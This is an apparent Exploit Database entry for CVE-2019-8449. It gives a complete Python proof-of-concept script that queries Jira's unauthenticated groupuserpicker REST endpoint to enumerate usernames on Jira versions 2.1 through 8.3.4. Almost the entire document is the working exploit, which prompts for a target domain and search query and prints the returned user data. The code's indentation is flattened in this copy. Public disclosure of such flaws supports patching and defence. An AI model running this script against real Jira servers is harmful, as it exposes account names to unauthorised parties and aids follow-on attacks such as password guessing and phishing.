Jira 8.3.4 – Information Disclosure (Username Enumeration)

Exploit Database
117 阅读

作者： Mufeed VH

日期： 2020-02-03
类别：
- webapps
平台：
- java
来源：https://www.exploit-db.com/exploits/47990/

# Exploit Title: Jira 8.3.4 - Information Disclosure (Username Enumeration)

# Date: 2019-09-11

# Exploit Author: Mufeed VH

# Vendor Homepage: https://www.atlassian.com/

# Software Link: https://www.atlassian.com/software/jira

# Version: 8.3.4

# Tested on: Pop!_OS 19.10

# CVE : CVE-2019-8449

# CVE-2019-8449 Exploit for Jira v2.1 - v8.3.4

# DETAILS :: https://www.cvedetails.com/cve/CVE-2019-8449/

# CONFIRM :: https://jira.atlassian.com/browse/JRASERVER-69796

#!/usr/bin/env python

__author__= "Mufeed VH (@mufeedvh)"

import os

import requests

class CVE_2019_8449:

def ask_for_domain(self):

domain = raw_input("[>] Enter the domain of Jira instance: => ")

if domain == "":

print("\n[-] ERROR: domain is required\n")

self.ask_for_domain()

self.url = "https://{}/rest/api/latest/groupuserpicker".format(domain)

def ask_for_query(self):

self.query = raw_input("[>] Enter search query: [required] (Example: admin) => ")

if self.query == "":

print("\n[-] ERROR: The query parameter is required\n")

self.ask_for_query()

def exploit(self):

self.ask_for_domain()

self.ask_for_query()

maxResults = raw_input("\n[>] Enter the number of maximum results to fetch: (50) => ")

showAvatar = raw_input("\n[>] Enter 'true' or 'false' whether to show Avatar of the user or not: (false) => ")

fieldId = raw_input("\n[>] Enter the fieldId to fetch: => ")

projectId = raw_input("\n[>] Enter the projectId to fetch: => ")

issueTypeId = raw_input("\n[>] Enter the issueTypeId to fetch: => ")

avatarSize = raw_input("\n[>] Enter the size of Avatar to fetch: (xsmall) => ")

caseInsensitive = raw_input("\n[>] Enter 'true' or 'false' whether to show results case insensitive or not: (false) => ")

excludeConnectAddons = raw_input("\n[>] Indicates whether Connect app users and groups should be excluded from the search results. If an invalid value is provided, the default value is used: (false) => ")

params = {

'query': self.query,

'maxResults': maxResults,

'showAvatar': showAvatar,

'fieldId': fieldId,

'projectId': projectId,

'issueTypeId': issueTypeId,

'avatarSize': avatarSize,

'caseInsensitive': caseInsensitive,

'excludeConnectAddons': excludeConnectAddons

}

send_it = requests.get(url = self.url, params = params)

try:

response = send_it.json()

except:

print("\n[-] ERROR: Something went wrong, the request didn't respond with a JSON result.")

print("[-] INFO: It is likely that the domain you've entered is wrong or this Jira instance is not exploitable.")

print("[-] INFO: Try visting the target endpoint manually ({}) and confirm the endpoint is accessible.".format(self.url))

quit()

print("\n<========== RESPONSE ==========>\n")

print(response)

print("\n<==============================>\n")

if __name__ == '__main__':

os.system('cls' if os.name == 'nt' else 'clear')

print('''

================================================

| CVE-2019-8449 Exploit for Jira v2.1 - v8.3.4 |

|Proof of Concept By: Mufeed VH [@mufeedvh]|

================================================

''')

CVE_2019_8449().exploit()